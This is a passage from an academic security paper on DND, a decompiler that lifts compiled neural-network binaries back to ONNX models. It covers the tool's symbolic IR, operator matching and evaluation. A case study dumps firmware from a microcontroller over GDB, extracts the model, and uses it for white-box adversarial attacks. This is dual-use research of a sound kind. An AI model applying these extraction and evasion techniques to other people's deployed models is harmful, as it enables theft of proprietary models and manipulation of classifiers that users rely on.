15: if addr ∈ op.breakEdgeSrcAddr then
16: symEngine.keep(getBreakState(state.succ))
17: if addr ∉ op.addrRange then
18: symEngine.stash(state)
19: Return memWrite

5.2.3 IR Design
We introduce our IR that can abstract an extracted symbolic
expression of a DNN operator into a tensor computation. Un-
like the extracted symbolic expressions, our IR is suitable to
represent operator type and recover operator parameters of op-
timized DNN binaries (discussed in Section 5.2.4). We define
two types of mathematical functions used in our IR: reducing
functions and transforming functions. Reducing functions pro-
duce a single output result from a variable number of inputs
(e.g., summation (Sum), average (Avg), and maximum (Max)).
Intuitively, we use an expression to represent each element of
the inputs (i.e., element), and use index variables (i.e., index)
to represent loops’ indexes with the range and step size. For
instance, our IR represents a0 ∗ b0+a1 ∗ b1+ ...+an ∗ bn as
Sum(ai ∗ bi, i), where ai ∗ bi is an element, and i is the index
variable, ranging from 0 to n, with 1 as the step size. On the
contrary, transforming functions take a fixed number (e.g.,
one or two) of inputs. Mul(a,b) multiplying a by b is one ex-
ample of transforming functions. The reducing functions and
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transforming functions can be used together to represent a
single IR expression. For instance, the IR expression in Line
2-8 in Figure 3d denotes a summation expression, where each
element is a multiplication expression, and the index variables’
information is listed in Line 5-8. We show the grammar of
our IR in Table 4 in Appendix B.
5.2.4 Operator Summary Lifting
In this step, DND lifts the extracted symbolic expressions of
each DNN operator to the operator summary in the IR we
design. Each operator summary contains three parts: addr,
expr and IVs, denoting the symbolic addresses of a DNN
operator output, the AST of a DNN operator output, and the
IVs information (i.e., initialization value, step size, and loop
count), respectively. We show an example of generated opera-
tor summary in Figure 3d.
To lift addr, DND simply uses the DNN operator out-

put address in the extracted symbolic expression (e.g.,
output[i][j] in Figure 3c). For expr, DND recursively
parses the extracted symbolic expressions and then builds
the AST in our IR format. Specifically, during the parsing
process, DND analyzes the extracted symbolic expressions
to identify their corresponding reducing function and its
elements and index. For example, in Figure 3c, DND first
identifies the accumulation operation (i.e., +=) as a reduc-
ing function, more specifically a summation function (i.e.,
Sum), and input[i+u][j+v]*filter[u][v] as the element
from the extracted symbolic expressions. DND identifies
the index variables as the difference between the IVs set
included in the symbolic expressions of operator parame-
ters and operator input (i.e., i, j, u, v) and the IVs set in-
cluded in the symbolic address of an operator output (i.e., i,
j), which is u and v in our example. Then, DND parses and
identifies the element as Mul operation, with two arguments
input[i+u][j+v] and filter[u][v]. Finally, DND stops
parsing input[i+u][j+v] and filter[u][v] because they
are the symbolic addresses of the values that are read from the
memory (i.e., operator input or parameters). Figure 3d shows
the generated operator summary.
Lifting operator summary with compiler optimizations.
DND can correctly generate operator summary even with com-
piler optimizations. Figure 4a shows the simplified decom-
piled code of a Conv operator followed by a Relu operator, a
combination used in many DNN models. The DNN compilers
can optimize this combination, and Figure 4b shows the simpli-
fied decompiled code after being optimized using the operator
fusion optimization and the loop unrolling optimization.

In this example, on one hand, the loop unrolling optimiza-
tion unrolls the loop iterating over the filter length (Line 6-7
in Figure 4a), resulting in two update assignments (Line 5-7
in Figure 4b). On the other hand, the DNN operator fusion
optimization embeds the Relu operator (Line 9-12 in Fig-
ure 4a) into the loop body of the Conv operator (Line 2-7 in
Figure 4a).

In this context, Relu is applied to output[i][j] (Line
10-11 in Figure 4b) when the loop with the IV u (Line 4-8) is
finished, and the loop with i, j as the IV (Line 4-8) are still
ongoing. In this way, given a certain i and j, Relu is applied
after the accumulation of output[i][j] is finished.

To lift the generated symbolic expression of the aforemen-
tioned heavily-optimized binary code in Figure 4c, DND in-
troduces two techniques. First, in order to make the expr (i.e.,
AST) in the result operator summary succinct, DND conducts
a loop rerolling analysis [39] on the extracted symbolic expres-
sion to handle the loop unrolling optimization. Specifically,
DND recognizes a similar pattern among the symbolic expres-
sions representing each one of the rolled iterations (e.g., Line
1 and Line 2 in Figure 4c), and recovers the rolled loop (e.g.,
the loop iterating over the filter length in Line 5 in Figure 4a)
by creating a loop index (e.g., v_reroll in Figure 4d). Sec-
ond, to divide a combined DNN operator into two separate
DNN operators, DND leverages the heuristic that the com-
bined second operator is usually an activation operator (e.g.,
Relu). Therefore, DND first identifies the activation operator
in the extracted symbolic expressions (Line 3 in the Figure 4c),
and then divides and lifts the expressions in Line 1-2 and Line
3 separately, resulting in two expr (Line 2 and 5 in Figure 4d).

5.3 Template ASTs Generation
The template ASTs are the references that are matched with
the AST in an unknown DNN operator’s operator summary,
to determine its operator type. To generate a template AST
of a DNN operator, we first manually construct an instance
of the operator in the ONNX format, leveraging the usage
examples of each ONNX operator [11]. Then, DND uses a
DNN compiler to compile this ONNX operator instance to a
binary. At last, DND generates the operator summary from the
compiled binary, using the same operator summary generation
procedure (described in Section 5.2), and takes its expr as the
template AST. We will show the DNN operators from which
we are able to generate the template ASTs in Section 7.1.

5.4 DNN Model Lifting
In this section, we describe how to further lift the operator
summary of each DNN operator to the high-level representa-
tion of a DNNmodel (i.e., ONNX format). DND first recovers
types of DNN operators using AST matching (Section 5.4.1).
Then, DND recovers the DNN topology leveraging the inter-
operator data dependencies (Section 5.4.2). Finally, DND re-
covers DNN operators’ attributes and parameters leveraging
both the DNN operator type and DNN topology, and converts
the fully-recovered model into ONNX format (Section 5.4.3).
5.4.1 AST Matching
For each identified DNN operator, DND matches the ASTs
(i.e., expr) in its operator summary with one of the template
ASTs to determine its DNN operator type. Specifically, DND
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1 void Conv(PTR∗ input, PTR∗ filter, PTR∗ output){
2 // Conv operator
3 for(i=0;i<2;i++) // output width index
4 for(j=0;j<2;j++) // output length index
5 for(u=0;u<2;u++) // filter width index
6 for(v=0;v<2;v++) // filter length index
7 output[i][j]+=input[i+u][j+v]∗filter[u][v]
8
9 // Relu operator

10 for(i=0;i<2;i++) // output width index
11 for(j=0;j<2;j++) // output length index
12 output[i][j]=Relu(output[i][j])
13 }

(a) Simplifed decompiled code before optimization
1 void Conv(PTR∗ input, PTR∗ filter, PTR∗ output){
2 for(i=0;i<2;i++) // output width index
3 for(j=0;j<2;j++) { // output length index
4 for(u=0;u<2;u++) { // filter width index
5 // filter length loop unrolled
6 output[i][j]+=input[i+u][j]∗filter[u][0]
7 output[i][j]+=input[i+u][j+1]∗filter[u][1]
8 }
9

10 // operator fusion optimization applied
11 output[i][j]=Relu(output[i][j])
12 }
13 }

(b) Simplifed decompiled code after optimization
1 output[i][j]+=input[i+u][j]∗filter[u][0]
2 output[i][j]+=input[i+u][j+1]∗filter[u][1]
3 output[i][j]=Relu(output[i][j])

(c) Extracted symbolic expressions
1 addr: output[i][j]
2 expr: Sum(element =Mul(input[i+u][j+v_reroll],
3 filter[u][v_reroll]),
4 index =(u, v_reroll))
5 expr: Relu(output[i][j])
6 IVs: (u, init=0,inc=1,count=2)
7 (v_reroll, init=0,inc=1,count=2)
8 (i, init=0,inc=1,count=2)
9 (j, init=0,inc=1,count=2)

(d) Generated operator summary

Figure 4: Operator summary generation of optimized Conv
and Relu

performs a breadth-first search (BFS) to check if a DNN oper-
ator’s AST and a template AST have the same tree structure,
and both ASTs have the same mathematical functions (e.g.,
Mul) in each node. Note that DND checks all the possible or-
derings of the compared nodes’ sub-ASTs to match equivalent
expressions with different ordering (e.g., a+b versus b+a). Fur-
thermore, in order to match equivalent but optimized expres-
sions (e.g., a«1 versus a*2), DND leverages angr’s expression
simplifier to determine the equivalence of two expressions.
This AST matching algorithm works for most of the tem-

plate ASTs. However, this algorithm sometimes cannot dis-
tinguish DNN operators having the same tree and mathe-
matical functions. For example, this algorithm cannot distin-
guish between Conv operator (shown in Figure 3d) and Fully
Connected operator (i.e., FC, shown in Figure 5b) because of
their same tree structure and mathematical functions in each

1 void FC(PTR∗ input, PTR∗ weight, PTR∗ output){
2 // input shape (1, 256), weight shape (256, 10)
3 for(i=0;i<256;i++) // number of input neuron
4 for(j=0;j<10;j++) // number of output neuron
5 output[j]+=input[i]∗weight[j][i]
6 }

(a) Simplifed decompiled code
1 addr: output[j]
2 expr: Sum(element =Mul(input[i],
3 weight[j][i]),
4 index =(i, j))
5 IVs: (i, init=0,inc=1,count=256)
6 (j, init=0,inc=1,count=10)

(b) Generated operator summary (for simplicity, this
demonstration FC does not include bias)

Figure 5: FC operator

node (i.e., Sum as the root node, with Mul as its element).
To correctly match the ASTs of Conv and FC, we further

leverage the number of IVs they use in their ASTs to dis-
tinguish them: The FC uses two IVs because FC is a two-
dimensional matrix product operation, which only involves
two loops. Meanwhile, the Conv uses four or more IVs in
their ASTs, because it conducts convolution operation over a
(multi-dimensional) matrix, which involves at least four loops.
5.4.2 DNN Topology Recovery
As described in Section 2.1, there are two types of connec-
tions between DNN operators: sequential connections (e.g.,
the edges connecting the Conv1 and the Conv3 in Figure 1)
and non-sequential connections (e.g., the edges connecting
the Conv2 at the top of Figure 1). DND recovers the DNN
topology by leveraging the DNN operator execution sequence
in the inference function and the data dependencies between
individual DNN operators.

Specifically, DND first extracts the DNN operator execution
sequence from the identified inference function (e.g., Conv1
-> Conv2 -> Conv3). Then, DND calculates each DNN oper-
ator’s (concrete) input/output address range by concretizing
their input/output expressions in the operator summary with
the corresponding ranges of IVs. For example, the operator
output address range of the Conv in Figure 3d are calculated by
concretizing its addr (i.e., output[i][j]) with the minimum
and maximum of the used IVs (i.e., i=0,j=0 and i=1,j=1,
respectively). DND determines there is a connection from one
operator (e.g., Conv1) to the other operator (e.g., Conv3) if
one operator’s output address range overlaps with the other
operator’s input address range (e.g., Conv1’s output address
range overlaps with the Conv3’s input address range). At last,
DND iterates the DNN operator execution sequence from the
first DNN operator to the last DNN operator, identifies the
data dependencies between adjacent operators, and connects
them accordingly.
Furthermore, from the data dependencies, DND can also

recognize the input term (i.e., the term which is the output of
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the previous DNN operator) and parameter term (i.e., the term
which is the parameters of the DNN operator) in the operator
summary’s expr, which can be leveraged for attributes and
parameters recovery in the next step. For example, for the Mul
function in the FC operator’s summary (Line 2-3 in Figure 5b),
DND identifies that the input[i] is the output of the previous
DNN operator (i.e., its address range overlaps with previous
DNN operator’s output range), and that the weight[j][i]
is the parameter (i.e., its address range does not overlap with
any previous DNN operator’s output range).
5.4.3 Attributes and Parameters Recovery
In the last step, DND recovers the attributes and parameters
of each DNN operator by leveraging the generated operator
summary and recovered DNN topology, and it then generates
a high-level DNN representation in the ONNX format.
Attribute Recovery. For DNN operators with only shape-
related attributes (e.g., filter length of AveragePool), DND
recovers their attributes by checking the nesting structure of
their loops and the loops’ counts (e.g., the filter length is the
loop count of the loop that iterates over the inputs).

For DNN operators with other attributes (e.g., padding size
of Conv), DND uses heuristics to recover those attributes. We
demonstrate how DND recovers the attributes of the Conv
operator in Figure 3d. Conv is one of the most complicated
operators, with three commonly-used attributes: filter shape,
padding size, and striding size.

First, DND leverages the fact that the Conv applies the same
filter to every input in order to infer the filter shape from the
IVs of its parameter term. For example, there are only two IVs
instead of three IVs (i.e., the number of filters, filter width, and
filter length) in parameter term of the Conv: u and v, whose
loop counts are both three. Therefore, DND infers that the
filter shape is (1,2,2), with the number of the filter as 1, and
filter width/length as 2.
Meanwhile, DND also determines the output dimensions

from the ranges of IVs used in operator summary’s addr (i.e.,i
and j),which is (2, 2). Then,DND determines the padding size
by identifying the padding checking conditions recorded dur-
ing the symbolic expressions extraction step (Section 5.2.2). If
there is no recorded padding checking condition, DND consid-
ers the padding size zero. At last, DND calculates the striding
size using the formula below that constrains the valid Conv:

S = (In−F +2 ∗ P +1)∕Out
where S, In, F , P and Out denote the striding size, input
dimension size, filter size, padding size, and output dimension
size, respectively.
Parameter Recovery. To recover the parameters, DND lever-
ages the recovered ranges of IVs to concretize the parameter
term (identified in Section 5.4.2) as the concrete addresses,
then the parameters are extracted from these concrete ad-
dresses. For example, for the Conv in Figure 3d, DND con-
cretizes the parameter term (i.e., filter[u][v]) with all the
possible values of u and v (both ranging from 0 to 1) to gen-

erate a list of concrete addresses, and the parameters are ex-
tracted from these memory addresses. Finally, with all the re-
covered information, DND generates a high-level DNNmodel
description file in ONNX format.

6 Implementation

We implement DND with over 7.5K lines of Python code on
top of angr [47].
DNNOperator Location Identification DNN operator loca-
tion identification requires recovering CFGs and identifying
loop locations. DND uses angr’s to recover CFG, which is
essential to find the locations of DNN operators.
Loop Analysis. DND requires finding all the loops and their
nested loops in each DNN binary to perform loop analysis in
Section 5.2.1. For that, we use angr’s loop finder.
Operator Summary Generation. We implement the cus-
tomized symbolic execution on top of angr simulationmanager
and angr under-constrained symbolic execution functionality.
This symbolic execution engine is responsible for symbolizing
variables (e.g., IVs) and collecting the symbolic expressions of
each DNN operator output. In some cases, some DNN opera-
tors (e.g., Softmax) call specific mathematical functions (exp,
pow, sqrt, tanh, log) in standard libraries (libc and libm).
In these cases, DND needs to identify the called mathematical
functions. To this aim, DND can use a function signature-
based approach [21] if those functions are statically linked.
Because those functions are pre-built, compilers insert those
pre-built functions into DNN binaries without being changed.
Alternatively, an analyst can search for such functions by check-
ing called functions’ names if function names are not stripped
from the binary or those functions are dynamically linked.

7 Evaluation

We first demonstrate the generality of DND by showing how
many commonly-used DNN operators and models can be sup-
ported in Section 7.1. Then, we show the correctness of DND
across different DNN compilers, ISAs, and DNN models. To
this aim, in Section 7.2, we compare the original DNNmodels
and their corresponding decompiled DNN models, to verify
the equivalence of model architecture, which means compared
models have the identical DNN operators and topology, as
well as the equivalence of their inference results (i.e., given
the same input, both models output the same label).

7.1 Generality Evaluation
We evaluate DND’s generality by evaluating howmanywidely-
used DNN models DND can support. We consider a DNN
as supported when all of its used operators are supported by
DND. To this aim, we evaluate how many DNN operators
DND can create template ASTs for.
We download an instance of every available DNN model
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Table 1: Detailed statistics of the evaluated DNN models
MNIST ResNet v1 MobileNets v2

# of DNN Operators 12 25 105
# of DNN Operator Types 6 8 11
# of Parameters 6K 80K 3.4M
# of Connections 12 27 115

from the ONNXModel Zoo [10] and the MLPerf Tiny Bench-
marks [2]. In this way,we collect 37 widely-usedDNNmodels,
covering many application scenarios such as image classifica-
tion (e.g., ResNet v1 [20]), object detection (e.g., YOLO [37]),
and nature language processing (e.g., GPT-2 [35]).
These 37 DNN models use 70 different DNN operators in

total. As the first step, to generate the template AST of these 70
operators, we manually construct the DNN operator instances,
use Glow to compile them to binaries, and lift the compiled
binaries to the template ASTs (as described in Section 5.3).
Note that we choose to use Glow because it supports all of
our experimental target ISAs.

Our evaluation shows that DND successfully generates the
template ASTs of 59 DNN operators (i.e., our supported DNN
operators) out of the collected 70 DNN operators. Those 59
DNN operators include the most commonly-used DNN op-
erator, such as Conv, MatMul, and MaxPool. We show the
complete list of the evaluated DNN operators in Table 3 in
Appendix A. While there are 11 DNN operators that DND
cannot support because of failures in the template AST gen-
eration (Section 9 provides more details about these failures
and propose possible solutions), the supported 59 (84%) DNN
operators enable us to fully support 30 (81%) DNN models
out of the collected 37 DNN models.

7.2 Decompilation Correctness Evaluation
We first describe our evaluation setup in Section 7.2.1. Then,
we demonstrate the correctness of DND by showing that the
decompiled DNN models have equivalent model architectures
(Section 7.2.2) and equivalent inference results as the original
models, across different ISAs and compilers (Section 7.2.3).
7.2.1 Evaluation Setup
To align with prior model extraction attacks [58, 61], we use
MNIST [59] and ResNet v1 [20] as two of our test DNN
models. We also include MobileNets v2 [40], a DNN model
designed for mobile and embedded systems. We show their
statistics in Table 1. We acquire MNIST and MobileNets v2
from ONNX Model Zoo [10] and ResNet v1 from MLPerf
Tiny Benchmarks [2]. Table 1 shows details of these three
DNN models.

To generate a diverse set of binaries (in terms of ISAs and
compilers), we compile the above three DNNmodels for three
different ISAs (i.e., Thumb, AArch64, and x86-64) and with
two different compilers (i.e., Glow and TVM).

Using Glow, we compiled the three DNNmodels with three

different ISAs into nine DNN binaries. On the other hand,
using TVM, we compiled the three DNN models only with
two different ISAs (Thumb and x86-64) into six DNN binaries
because TVM’s AOT feature (i.e., microTVM [1]) does not
support AArch64 to the best of our knowledge. Therefore, we
evaluated 15 DNN binaries in total.
7.2.2 DNN Model Architecture Equivalence
Next, we demonstrate the model architecture equivalence be-
tween the decompiled models and the original models. For
that, we compare the neural network architecture (i.e., the
network topology, number of operators, and type of each op-
erator) of 15 generated decompiled DNN models and their
corresponding original DNN models. We report that all 15
decompiled DNN models are identical to their correspond-
ing original models. An example of the original ResNet v1
model and the decompiled ResNet v1 model from a DNN
binary (compiled with Glow and Arm Thumb ISA) is shown
in Figure 6. Note that Conv operators and Relu operators are
combined together in the target binaries, due to operator fusion
(as explained in Section 2.2). Regardless of this optimization,
DND can correctly divide them into two operators, as shown
in Figure 6b, using the approach described in Section 5.2.4.
7.2.3 Inference Result Equivalence
To evaluate the inference result equivalence between the orig-
inal DNN models and the decompiled DNN models, we check
if the prediction results of the two models are identical. Specif-
ically, given N test inputs, we measure the inference result
equivalence as the percentage of how many inputs are identi-
cally predicted by the original models and the decompiled
models. To this aim, we randomly sample the test inputs
to the MNIST, ResNet v1, and MobileNets v2 models from
the MNIST, CIFAR-10, and ImageNet datasets, respectively.
We obtain the datasets from TorchVision [31]. Table 2 sum-
marizes the results regarding the inference equivalence be-
tween the decompiled models and the original ones, using
N = 10,000 test inputs. As shown, the inference results of
both the decompiled DNN models and the original ones are
identical for all the samples.

8 Case Study

In this section, we show how DND can extract DNN model
hyper-parameters and parameters from a DNN application
running on a real-world micro-controller and demonstrate
how we can leverage the decompiled DNN model to boost
adversarial attacks.
As a real-world micro-controller, we use the NXP i.MX

RT1050-EVK board, using an Arm Cortex-M7 processor and
Thumb ISA. Its firmware development is supported by the eIQ
ML software development environment [44], the ML develop-
ment and deployment tool released by NXP Semiconductors.
We use eIQ (which, in turn, uses the Glow DNN compiler) to
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(a) Original ResNet v1 model
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(b) Decompiled ResNet v1 model
Figure 6: Model architecture comparison. This figure shows that the architecture of the decompiled ResNet v1 model (obtained
from a binary compiled with Glow using the Arm Thumb ISA) is identical to the original ResNet v1 model.
Table 2: Comparison between inference results of the DNN models decompiled from the test DNN binaries and their original
DNN models. This table shows that the predicted labels of all the decompiled DNN models are identical to those of the original
DNN models for all the tested inputs. N/A means that the ISA is not supported by the compiler.

Thumb (Arm) AArch64 (Arm) x86-64
MNIST ResNet v1 MobileNets v2 MNIST ResNet v1 MobileNets v2 MNIST ResNet v1 MobileNets v2

Glow 100% 100% 100% 100% 100% 100% 100% 100% 100%
TVM 100% 100% 100% N/A N/A N/A 100% 100% 100%

build an application classifying images from the CIFAR-10
dataset using the ResNet v1 DNN model, and we install this
application on the board.

8.1 Extraction Attack
To conduct a DNN extraction attack, we use DND to decom-
pile the DNN model embedded in the DNN binary installed
on the board. In our case, we obtained the DNN application
by connecting the GDB debugger to the board’s GDB port
and then dumping the DNN application.

After obtaining the binary, DND locates the inference func-
tion in the DNN binary, decompiles its DNNmodel, and recov-
ers its model hyper-parameters and parameters. To prove that
the DNN extraction attack is successfully launched, we verify
the correctness of the decompiled DNN model by comparing
the inference results over the same inputs between the decom-
piled DNN model and the original DNN model. Specifically,
we first randomly select 1,000 images from the CIFAR-10
dataset as the sample inputs. Then, we feed those chosen input
images to both the decompiled DNN model and the original
DNN model on the NXP i.MX RT1050-EVK board. Our eval-
uation results show that the decompiled model’s inference re-
sults are identical to those of the original DNNmodel, proving
the DNN extraction attack conducted by DND is successful.

8.2 Boosting Adversarial Attacks
The decompiled ResNet v1 DNN model can be used to con-
duct further attacks to the DNN model running on the NXP

i.MX RT1050-EVK board. In this section, we demonstrate
that, by using the decompiled model, we can launch effective
adversarial attacks.
In DNN adversarial attacks, the adversary maliciously in-

fluences the predicted labels of the DNN model by adding
minimal (typically imperceptible) perturbations to the input
images [48]. The goal of these attacks is to find minimal per-
turbations on input images that can induce the DNN model
to predict the wrong label. As described in Section 2.3, there
are two categories of adversarial attacks: black-box attacks
and white-box attacks. While white-box attacks are more ef-
fective than black-box attacks, they require an adversary to
have prior knowledge of the victim DNN model (i.e., model
hyper-parameters and parameters).

We demonstrate that, with the DNN model decompiled by
DND, we can launch white-box adversarial attacks against the
ResNet v1 DNN model running on the NXP i.MX RT1050-
EVK board, and achieve better effectiveness than that achieved
by black-box adversarial attacks.

To perform this evaluation, we first randomly select 1,000
images from the CIFAR-10 dataset as sample inputs, and we
infer their labels on the NXP i.MX RT1050-EVK board to
evaluate the accuracy of the DNN model. To launch the white-
box attack, we use the projected gradient descent (PDG) al-
gorithm [28] implemented in Foolbox [36] to generate adver-
sarial images based on the sample inputs and the decompiled
DNN model. As for the black-box attack, we utilize the black-
box attack on CIFAR-10 implemented in Torchattacks [23] to
generate adversarial images.
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For both the attacks, we set the parameter epsilon to the
same value (0.03, the default value). This value represents the
maximally used perturbation between the adversarial images
and their corresponding original images. Hence, both attacks
perturb the images to the same extent. However, as expected,
the white-box attack’s perturbations are more effective, i.e.,
they are more capable of causing misclassifications in the
victimDNN. In particular, the white-box and black-box attacks
reduce the accuracy of the ResNet v1 model from 88.4% to
11.4% and 57.3%, respectively. We highlight that an adversary
cannot launch the white-box attack without having access to a
high-level representation of the DNN model, such as the one
generated by DND.

9 Discussion and Limitations

Existing General-Purpose Decompiler Existing general-
purpose decompilers (e.g., Hex-Rays) have the following lim-
itations when dealing with DNN binaries: (1) they do not
recognize vectorized mathematical computations, leading to
decompilation representations containing long loop bodies
and excessive bitwise operations; (2) their decompilation rep-
resentations differ significantly depending on the compilers
or ISAs; (3) even with the same compiler and ISAs, DNN
operators of the same type but with different attributes have
different decompilation representations, because they are spe-
cialized. We demonstrate these limitations in Appendix C.
These limitations hinder using simple pattern matching to
recover the DNN high-level representation.
Correctness of the Recovered CFG and Binary Code. As
other decompilation works [19, 56, 57], DND assumes that
the recovered CFG provided by the disassembler is reliable.
Fortunately, our evaluation shows that the recovered CFGs of
our test DNN binaries are reliable enough for our purpose.

Similarly, we assume that binary code in our target binaries
is available before analysis because DND works on top of the
disassembled binary code. Therefore, obfuscated, encrypted,
and packed binary code, available only after unpacking, deob-
fuscation, or decryption, is out of our scope.
Traditional Binary Analysis Challenges. DNN binaries,
compared with the binaries compiled by general-purpose com-
pilers, are more structured (e.g., nested loops), have less com-
plicated control flows (e.g., no indirect control-flow transfer),
and have no interaction with the environment (e.g., system
calls). For these reasons, the information extracted by angr is
accurate, which helps DND focus on the challenges specific
to DNN binaries, discussed in Section 4.
Handling Failure. DND detects failures by checking if the
output of each stage of the pipeline is expected (e.g., AST
matching returns a matched AST). When failures happen
(e.g., when dealing with unsupported operators), DND skips
decompiling the errored operator and proceeds with the other
operators. In the end, DnD generates a report consisting of the
decompilation results of the successfully decompiled opera-

tors and the binary function locations of the skipped operators.
Supporting Additional Operators. Out of the 70 operators
used by the DNNmodel in our dataset,DND currently does not
support 11 of them for the following reasons: (1) our symbolic-
execution-based approach is designed to capture the semantics
of vectorized mathematical operations, and cannot capture the
semantics of some operations such as sorting and searching;
(2) our algebraic IR cannot represent recurrent structures; and
(3) Glow does not support some operators defined in ONNX.

As future work, we plan to overcome these issues by: (1)
extending our symbolic-execution-based approach and the
expressiveness of our IR to support higher-level mathematical
expressions involving sorting and searching operations; (2)
transforming recursive code into equivalent iterative code,
improving our current loop analysis, and extending our IR
to support recurrent structure; and (3) using multiple DNN
compilers to create additional DNN operations’ templates.
Supporting Other DNN Compilers. Other DNN compil-
ers supporting compiling DNN models to CPU exist (e.g.,
XLA [14] and NNFusion [27]). Unlike Glow [30] and
TVM [1,7], which compile DNN models into standalone bi-
naries, XLA and NNFusion generate DNN binaries linked
with open-source mathematical libraries to leverage the tensor
operations of these libraries. For instance, XLA’s generated
binaries rely on MatMul implemented in Eigen.
As future work, to support these additional compilers, we

will need to implement a dedicated analysis to identify these
tensor-specific library functions. This analysis could take ad-
vantage of function matching approaches [55].
Decompiling Binary on DNN Accelerators. DND does not
support decompiling DNN binaries running on DNN accelera-
tors (e.g., GPUs, FPGAs). This limitation is caused by the fact
that DNN accelerators have very diverse ISAs that are usually
not supported by the general-purpose disassemblers and the
symbolic execution framework, which DND relies on. For in-
stance, although Nvidia provides closed-source disassemblers
cuobjdump and nvidiaasm, which translate the CUDA binary
into SASS assembly code, most details of the SASS assembly
code are kept secret, which hinders further analysis.

10 Related Work

Decompiler.Many decompilation techniques have been pro-
posed to improve the C/C++ decompilation performance
through control-flow recovery [19, 56, 57] and decompiled
code’s readability enhancements [8, 25, 42]. Furthermore,
Neural Machine Translation (NMT) has also been intro-
duced [12] to improve the quality of the decompiled code.
Other than the aforementioned academic researches, some
open-source or commercial C/C++ decompilers have been
introduced [5, 21, 33,57]. In addition to decompiling C/C++
binary, researchers proposed reverse engineering techniques
targeting smart contract [60], control firmware [24] and Blue-
tooth firmware [54]. However, those techniques cannot capture
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the mathematical semantics of compiled DNN models.
Extraction Attacks. Security researchers have proposed two
types of DNN extractions attacks. The first type is algorithm-
level extraction attacks. This type of attack is generally con-
ducted by querying a black-box DNN model and then retrain-
ing a model using the querying results [46, 49, 50]. The other
type of attack is architecture-level extraction attacks. They
exploit hardware or side channels, such as PCIe traffic [22,61],
cache-based side-channel [58], power side-channel [29,52],
and even electromagnetic [3], to launch this type of attack.
However, they either require prior knowledge of a DNNmodel
(e.g., model hyper-parameters and parameters) or significant
computational resources. Otherwise, they can recover only an
incomplete DNN model.
Adversarial Attacks. Szegedy proposed the first adversarial
attacks [48], which led DNNs to misclassify images. In follow-
up studies, there are two types of attack schemes: the white-
box and black-box attack approaches. However, the former
approach [6, 48] assumes an attacker has prior knowledge of
a victim DNN model, such as model hyper-parameters and
parameters. On the other hand, the latter approach [4,34] is
less effective than the white-box attack because the black-
box approach does not leverage model hyper-parameters and
parameters that help improve attack effectiveness.

11 Conclusions

In this work, we designed and implemented DND, the first
compiler- and ISA-agnostic DNN decompiler. Our evaluation
shows that DND can perfectly recover different DNN models
compiled by two different compilers for three different ISAs.
As a potential real-world usage of DNN decompilation, we
show howDND can be used to extract a compiled DNNmodel
from a real-world micro-controller, and to enable white-box
adversarial ML techniques.

As traditional decompilers are the foundation formany secu-
rity applications, we envision that, in the future, the capability
of decompiling DNN binaries will bootstrap further security
research in attacking and defending DNNs, in all those sce-
narios in which their original models are unavailable.
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A List of Evaluated DNN Operators

Table 3: The list of the evaluated DNN operators. ‘Y’ denotes
the operators which DND can generate the template ASTs,
and ‘N’ denotes the operators which DND currently cannot
generate the template ASTs. For these unsupported operators,
we marked, using the numbers 1, 2, 3, the reason why they
are not supported. Specifically, (1) means that DND cannot
capture the semantics of some operations such as sorting and
searching, (2) means that DND cannot represent recurrent
structures, (3) means that our considered DNN compilers do
not support some ONNX operators. These limitations are
discussed in Section 9.

Abs (Y) Add (Y) And (Y)
ArgMax (N1) AveragePool (Y) BatchNormalization (Y)
Cast (Y) CategoryMapper (N3) Ceil (Y)
Clip (Y) Compress (N1) Concat (Y)
Constant (Y) ConstantOfShape (Y) Conv (Y)
ConvTranspose (Y) CumSum (N1) Div (Y)
Equal (Y) Erf (N3) Exp (Y)
Expand (Y) Flatten (Y) Floor (Y)
Gather (Y) Gemm (Y) GlobalAveragePool (Y)
Greater (Y) Hardmax (N1) Identity (Y)
LRN (Y) LSTM (N2) LeakyRelu (Y)
Less (Y) Log (Y) Loop (N2)
MatMul (Y) MaxPool (Y) Min (Y)
Mul (Y) NonMaxSuppression (N1) NonZero (Y)
Not (Y) PRelu (Y) Pow (Y)
Reciprocal (Y) ReduceMax (Y) ReduceMean (Y)
ReduceMin (Y) ReduceSum (Y) Relu (Y)
Reshape (Y) Resize (Y) RoiAlign (N1)
Scan (N1) Scatter (Y) Shape (Y)
Sigmoid (Y) Slice (Y) Softmax (Y)
Split (Y) Sqrt (Y) Squeeze (Y)
Sub (Y) Sum (Y) Tanh (Y)
Tile (N1) TopK (N1) Transpose (Y)
Unsqueeze (Y)

B DND IR’s grammar

Table 4: The grammar of DnD’s IR. ‘MemReadVal’ denotes
the value read from a memory location, and ‘IV’ denotes the
symbolized loop induction variable.

Symbolic
Expression SymExpr := RF | TF | Var

Reducing
Function RF :=

Sum(SymExpr, IV) |
Avg(SymExpr, IV) |
Max(SymExpr, IV) |
Min(SymExpr, IV) |

Transforming
Function TF :=

Abs(SymExpr) |
Add(SymExpr1, SymExpr2) |
Div(SymExpr) |
Mul(SymExpr1, SymExpr2) |
Exp(SymExpr) |
Log(SymExpr) |
Sqrt(SymExpr) |
Tanh(SymExpr) |
Pow(SymExpr)

Variable Var := Constant | MemReadVal

C Decompiled Code Samples

We demonstrate snippets of decompiled code (i.e., by Hex-
Rays decompiler) of three binary functions in Listing 1, List-
ing 2, and Listing 3. We elaborate on how we generate these
three binary functions as follows:

• Listing 1: A convolution operator instance compiled with
TVM and on Arm Thumb.

• Listing 2: The same convolution operator instance as the
one used in Listing 1, compiled with Glow and on x86.

• Listing 3: A convolution operator instance with different
attributes (e.g., kernel size, padding size), compiled with
Glow and on x86.

We show the complete decompiled code at https://github.
com/purseclab/DnD/tree/main/samples.

1 for ( j = 0; j != 64; ++j )
2 {
3 ∗v17++ = 0.0;
4 v19 = 0;
5 v20 = 0.0;
6 v21 = (i & 7) + 10 ∗ (i >> 3);
7 do
8 {
9 v22 = v19 << 6;

10 v23 = (float ∗)&v6[256 ∗ v21];
11 v19 += 3;
12 v24 = v22 + 192;
13 while ( 1 )
14 {
15 v26 = (float ∗)((char ∗)arg1 + 256 ∗ v22 + 4 ∗ j);
16 v27 = v23 + 64;
17 do
18 {
19 v25 = ∗v23++;
20 v20 = v20 + (float)(v25 ∗ ∗v26);
21 // 21 lines of code omitted
22 while ( (char ∗)arg2 + 256 != (char ∗)v28 );

Listing 1: Snippet of a decompiled convolution operator
function of TVM/Arm Thumb binary function
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1 do
2 {
3 // 4 lines of code omitted
4 do
5 {
6 // 4 lines of code omitted
7 do
8 {
9 // 13 lines of code omitted

10 do
11 {
12 // 6 lines of code omitted
13 do
14 {
15 if ( (v130 | v27) < 0x10 )
16 {
17 // 8 lines of code omitted
18 v51 = _mm_add_ps(
